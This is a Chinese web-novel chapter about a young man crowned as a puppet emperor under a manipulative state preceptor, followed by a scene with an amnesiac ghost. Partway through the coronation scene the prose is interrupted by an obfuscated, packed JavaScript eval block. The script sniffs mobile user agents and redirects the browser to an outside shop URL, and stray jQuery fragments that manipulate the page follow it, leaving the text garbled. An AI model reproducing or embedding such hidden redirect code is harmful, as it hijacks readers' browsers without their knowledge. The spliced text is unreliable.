54. 命运

作品:《误入龙傲天剧本后

    铜镜冰冷,映出明黄龙袍的璀璨光华,上面的章纹威严庄重,九龙环绕,栩栩如生。


    这本该是天下男儿梦寐以求的极致尊荣,此刻穿在李令成身上,却是一种几乎要将脊梁压垮的负担。


    镜中人的眉眼依旧年轻,却笼罩着一层挥之不去的阴翳与疲惫,再无半分少年意气。


    他抬手时指尖拂过刺绣纹路,触感华贵却激不起心底丝毫涟漪。


    明明一开始所求的,不过是想让李家更好,不想父亲在西北过着刀口舔血的日子,不想让阿姐再为了家族前程殚精竭虑,甚至委曲求全。


    他想要修炼道法,不过是想筑起一道足够坚固的墙,将他在意的人护在身后,让李氏门楣能够安然延续。


    可现在呢?


    墙塌了。


    曾经显赫的靖西侯府,树倒猢狲散,只剩他一人,顶着这不属于他的姓氏和这身刺眼的龙袍,站在权力的孤峰之上,脚下只剩累累白骨。


    至亲尽丧,故园凋零。


    这身龙袍再华美,这座宫殿再恢弘,这满殿的“万岁”呼声再响亮,于他而言,又有何意义。


    它们填补不了心底那个巨大的空缺,反而像是一面巨大的镜子,时时刻刻映照着他的无能为力。


    他护不住想护的人,甚至连自己的命运都无法掌控。


    镜中的帝王缓缓闭上了眼睛,隔绝了那身刺目的明黄,也隔绝了眼底几乎要溢出的痛苦与茫然。


    这滔天的权势,这至高的尊位,此刻只让他感到深入骨髓的孤寂。


    再睁眼时,铜镜中映出的不再是他自己落寞的面容,而是谢毓那张带着冰冷审视意味的脸。


    谢毓不知何时已悄无声息地走到他身后,他张开双手,稳稳地搭在李令成紧绷的肩上,五指收拢,甚至带着一种不容抗拒的掌控感,捏得李令成肩胛骨隐隐生疼。


    镜中,两人的身影重叠,一坐一站,一明黄一玄黑,对比鲜明。


    谢毓微微俯身,凑近李令成的耳畔,声音里带着一丝刻意营造的和蔼,却也难掩其下的倨傲。


    “陛下当真是天人之姿,这身龙袍,与陛下再契合不过,这一看,便是天命所归的帝王之相。”


    他的气息拂过李令成的耳廓,不带一丝温度。


    李令成的身体几不可察地僵硬了一瞬。


    肩上传来的疼痛异常清晰,时刻提醒着他此刻的处境。


    他没有挣扎,甚至没有试图卸去那份力道,只是依旧笔直地坐在镜前。


    他的目光越过镜中谢毓的脸,似乎想看向更远的地方,却又无处可逃。


    沉默在寝殿内弥漫,只有两人细微的呼吸声。


    良久,李令成才低低地开口,声音干涩,带着一丝不易察觉的颤抖,问出心中最渴望的那个问题。


    “你说阿姐若是看到我穿这身衣服,会开心吗?”


    谢毓闻言,唇角勾起一抹近乎轻蔑的弧度。


    他并未立刻回答,反而更加弯下身子,几乎将头完全靠在了李令成的头侧,两人的侧脸在镜中几乎贴在一起。


    这个姿势极近,却充满了压迫感。


    他对着镜中李令成失神的眼睛,轻声嗤笑后道。


    “那是自然。”


    说着,他挺直腰板,用手掌抚去他肩上的灰尘。


    “李令戈最大的心愿,便是李氏荣耀,如今你贵为天子,统御四海,她若泉下有知,岂有不欣慰之理?”


    李令成闭上了眼睛,浓密的睫毛微微颤抖。


    阿姐的期望成了谢毓拿捏他最有效的武器,也是他此刻唯一能抓住并支撑自己走下去的浮木。


    “好了,时辰差不多了。”


    谢毓拍了拍李令成的肩膀,力道不轻不重,却带着催促的意味。


    “百官已在宣政殿前等候多时,天下万民也在等着聆听新皇登基的诏告。”


    他退开两步,做了个“请”的手势,姿态恭敬,眼神却依旧平静无波。


    李令成深吸一口气,再睁开眼时,镜中那双眸子里的迷茫已被强行压下,只剩下一种近乎麻木的平静。


    他知道,他没有选择。


    他缓缓站起身,龙袍的下摆沉重地垂落。


    两名一直垂首侍立在旁的太监立刻上前,小心翼翼地为他整理袍角,抚平褶皱。


    谢毓走在前方半步引路,玄黑色的国师袍服与李令成的明黄龙袍形成鲜明对比。


    一黑一黄,一前一后,穿过重重宫门,走向那座象征着至高权力的宣政殿。


    通往大殿的御道早已被清扫得一尘不染,两侧禁军盔明甲亮,持戟肃立,如同两排沉默的塑像,一直延伸到巍峨的汉白玉台阶之下。


    台阶之上,宣政殿重檐庑殿顶在冬日苍白的阳光下闪耀着金色的光芒,威严而压抑。


    此刻,丹陛之下,广场之上,黑压压地跪满了文武百官。


    他们按照品级高低,排列得整整齐齐,鸦雀无声。


    唯有寒风卷过广场时,吹动官袍发出的细微声响,以及偶尔传来的压抑的咳嗽声。


    气氛凝重得仿佛能滴出水来。每个人心中都清楚,他们跪拜的并非众望所归的明主,而是一个傀儡。


    当李令成在谢毓的引领下,出现在高高的丹陛之上时,所有目光带着各种不同的情绪齐刷刷地聚焦在他身上。


    那身过于年轻的面孔与那身威严的龙袍,形成了一种奇特的的对比。


    礼官拖长了声音,开始唱诵冗长而复杂的登基仪程。


    钟磬之声庄严响起,在空旷的广场上回荡。


    李令成依照指引,麻木地进行着既定的步骤。


    祭告天地,接受百官呈上的玺绶以及聆听翰林院学士宣读那份由谢毓授意拟定的即位诏书……<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807743|182718||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>诏书中极力渲染先帝萧晟的横祸与国不可一日无君的紧迫,将李令成描述为天命所归。


    字字句句,都试图为这场政变披上合法的外衣。


    当诏书宣读完毕,礼官高呼跪拜时,丹陛之下,上千名官员齐刷刷地以额触地,山呼海啸般的声音冲天而起。


    “吾皇万岁!万岁!万万岁——!!”


    声浪一波接着一波,在宫墙之间激荡回响,震耳欲聋。


    李令成站在最高处,俯瞰着脚下匍匐的芸芸众生。


    寒风凛冽,吹动他冠冕上的旒珠。


    那震天的呼声涌入他的耳中,却奇异地隔着一层什么,无法真正触及他的内心。


    他微微侧目,眼角的余光瞥见身侧半步之后的谢毓。


    谢毓并未跪拜,他只是微微垂首,但他的脊背挺直,嘴角噙着一丝若有若无的的弧度。


    他的目光平静地扫过下方跪拜的群臣,好似他才是登基的皇。


    当他的目光不经意间与谢毓短暂相接时,那里面没有臣子的恭顺。


    只有一种深邃的、一切尽在掌握的平静。


    李令成读懂了那眼神明明是该你说话了。


    他收回目光,强迫自己集中精神,用尽可能平稳的声音,缓缓开口,说了些“仰承天命,恪尽职守,与众卿共扶社稷”之类的套话。


    他的声音在空旷的广场上传播开来,被寒风裹挟着,显得有些单薄。


    登基大典,就在这表面庄严肃穆、内里暗流汹涌的氛围中落下帷幕。


    阴雨朦胧中,已经变为恶鬼的萧景珩藏于葱阴之下,整个身体止不住的发颤。


    他不清楚自己是谁,也不知道自己要干什么,在被几个道士围堵攻击后,他只能躲在这里独自舔舐伤口。


    萧景珩的脑海里一片混沌,他总觉得有件很重要的事去完成,可始终想不起来到底是什么事。


    幽绿的鬼火在他眼眶的位置明灭不定,映照着雨丝,却照不亮他内心的黑暗。


    他伸出那只覆盖着暗色鳞甲的爪子,茫然地看着雨水穿过它虚幻的形态。


    没有触感,没有温度,只有一片虚无的冰冷。


    “……谢……”


    一个音节无意识地从他喉咙里溢出,带着一丝极其微弱的颤音。


    是谁?谢什么?


    他不知道。


    他只知道,当这个音节响起时,那根烧红的铁针刺得更深了。


    一种混合着滔天恨意与撕心裂肺般痛楚的情绪,猛地攫住了他,让他的颤抖更加剧烈。


    他必须想起来,他必须离开这里,必须找到什么,或者杀了谁。


    可是越想脑子越痛,他只能不断捶打起,以试图抑制住疼痛。


    强行变为恶鬼的反噬便是会致使记忆缺失,而现在的萧景珩便是忘却了一切记忆,变成了无根无木的孤魂野鬼。